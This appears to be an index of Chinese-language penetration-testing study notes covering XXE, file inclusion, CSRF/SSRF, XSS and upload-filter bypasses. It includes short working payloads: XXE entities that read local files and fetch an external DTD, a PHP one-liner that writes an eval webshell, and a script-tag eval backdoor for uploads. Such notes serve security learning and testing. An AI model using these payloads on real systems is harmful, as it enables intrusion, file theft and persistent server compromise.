XXE

XXE简介 XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。 XML 与 HTML 的主要差异: XML 被设计为传输和存储数据,其焦点是数据的内容。 HTML 被设计用来显示数据,其焦点是数据的外观。 HTML 旨在显示信息 ,而 XML 旨在传输信息。 漏洞利用 1.提交的数据包含XML格式如: <forgot><username>admin</username></forgot> 2.请求头中如: Content-Type:text/xml或Content-type:application/xml 文件读取: <?xml version="1.0"?> <!DOCTYPE Mikasa [ <!ENTITY test SYSTEM "file:///d:/www.txt"> ]> <user><username>&test;</username><password>Mikasa</password></user> 内网探针: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" > ]> <user><username>&rabbit;</username><password>Mikasa</password></user> 外部实体引用:(解决不回显,解决免杀拦截问题,外部引用Payload) <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd"> %file; ]> <user><username>&send;</username><password>Mikasa</password></user> evil2.dtd <!ENTITY send SYSTEM "file:///d:/www....

October 14, 2021 · 1 min · alvazu

LFI & RFI

一个例子 $file = $_GET['filename']; include($file); //http://XXX?filename=1.jpg Local File Include 后缀限制 $file = $_GET['filename'.'.php']; include($file); 针对PHP低版本(5.2可行): %00截断 & 长度突破 针对高版本:协议利用 前提:data协议开启,allow_url_include=1; XXX.php?filename=data://text/plain,<?php%20phpinfo();?> Remote File Include 后缀限制 RFI的后缀限制突破方法:加入GET参数(也就是"?“符号)。如XXX.php?filename=http://XXX.txt?即可 协议利用 php://filter/convert.base64-encode/resource=1.txt file:///D:/phpstudy/PHPTutorial/WWW/1.txt RCE执行: php://input Post:<?php system('ver')?> <?PHP fputs(fopen('s.php','w'),'<?php @eval($_POST[cmd])?>');?> data://text/plain,<?php%20phpinfo();?> 思路 流程:想办法包含文件-文件来源(能不能上传) 不能上传:包含系统自身文件渗透,包含日志文件渗透 能上传:冲冲冲 RFI结合MSF-exploit/multi/script/web_delivery

October 11, 2021 · 1 min · alvazu

CSRF & SSRF

CSRF 常见套路:安装同一套CMS,通过Burp抓到添加管理员的数据包。在管理员已登录的情况下点击一个网址,通过HTML的form配合JS提交请求。 防御 同源策略 检测来源是否同一域名(referer,仍然不安全) 加入token(或者加入验证码) 每一次请求都需要一个不同的token,如果csrf使用的是与之前同一个token,那么链接失效。 突破防御 token爆破 设计逻辑错误导致token可以重复利用 SSRF 主要产生在远程请求、代下载等场景。可以端口扫描、指纹识别、内网探针、漏洞利用等。 端口扫描 通过请求http://127.0.0.1:8081查看端口是否开放,若开放则回显中会产生数据。 与nmap相比,首先nmap可能扫不出来,其次在内网攻击中,某台计算机可能不联外网,只能通过内网扫描。如ftp://192.168.46.133:21 就能返回内网ftp目录;file:///D:/www.txt利用file协议请求文件内容;dict://探测mysql等等。 如果不知道IP地址,也可以进行爆破。 其他几个案例

October 10, 2021 · 1 min · alvazu

XSS

反射XSS 提交数据后,数据被管理员查看,可以盗取其COOKIES。(xsshs.cn) 通过BEEF控制浏览器。 DOM型XSS 通过闭合JS实现XSS。 XSS分类 fooying.com/the-art-of-xss-1-introduction mXSS 被过滤的XSS Payload,因为(低版本QQ)预览分享功能被重新激活。 代码绕过 长度绕过 如length设置,用闭合方法,修改其length值; 尖括号被过滤怎么办? 改成onclick激活,避免尖括号即可。 script、onclick等关键字被过滤怎么办? 大小写修改或者,xz.aliyun.com/t/2936查看不同DOM元素的利用方法 工具 XSStrike XSS Fuzz字典 设置绕过 HTTPOnly 登录成功页面插入XSS实现长期控制

October 10, 2021 · 1 min · alvazu

文件上传漏洞

本地验证 JS禁用、Burp改包、本地提交 后缀黑名单验证 大小写、加空格、符号点(系统特性)、::$DATA(Windows平台) 过滤不迭代问题 例如,".php. .“方法:这针对的是在过滤中,代码中去掉末尾的点,再首位去空,再进行后缀过滤点情形。 后缀白名单验证 MIME(使用FILETYPE而不是后缀验证) 后缀白名单验证 MIME、%00、0x00截断 其中,MIME主要修改Content-Type项; %00和0x00主要影响某些版本的PHP(CVE-2015-2348,PHP 5.4.38~5.6.6)。在文件名中插入,比方说x.php%00.jpg,并且URL-Decode后(URL中不用转换),作为文件名,即可截断后缀。 ⚠️这里注意区分,GET请求对%00进行编码,POST不对%00编码。%00自动编码后将变成%25%30%30,而这不是我们需要的。 图片后门 单纯文件头验证不安全,需要配合后缀检测。 过滤<?怎么办? 使用多种php标记方法,如 <script language="php"> eval($_POST['xd']); </script> 二次渲染 上传的图片被修改后显示出来(尺寸或格式)。例如: copy shell.jpg/b + shell.php/a s.jpg 将图片与后门合并后上传,若存在二次渲染,则后门可能失效。此时,应该对比上传前后的文件,观察二次渲染后文件的哪个部分不变,再将后门写入那个部分。 常见问题 单次过滤 php函数replace过滤"php”,但把文件名改成".pphphp"就可以绕过 条件竞争 php函数move_uploaded_file,先移动后过滤unlink。可以在删除前访问。 具体来说,可以在不断上传的过程中不断访问之,这个文件进行一个写入操作。(借助burp) 解析安全 格式变异 过滤时只过滤了php后缀,没有过滤php3、php4、php5、phtml等php程序 中间件解析(apache) 上传一个.htaccess,它可以更改目录下特定后缀的解析规则 <FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch> CVE-2013-4547 Nginx文件名逻辑漏洞 NGINX解析问题:后缀"1.jpg/.php" 针对性思路总结 CMS类 无资料时用常规测试思路,有资料参考资料即可。 编辑器 Ueditor 中间件 weblogic CVE-2018-2894 CTF类 ThinkPHP 文件路径(涉及代码审计)

October 8, 2021 · 1 min · alvazu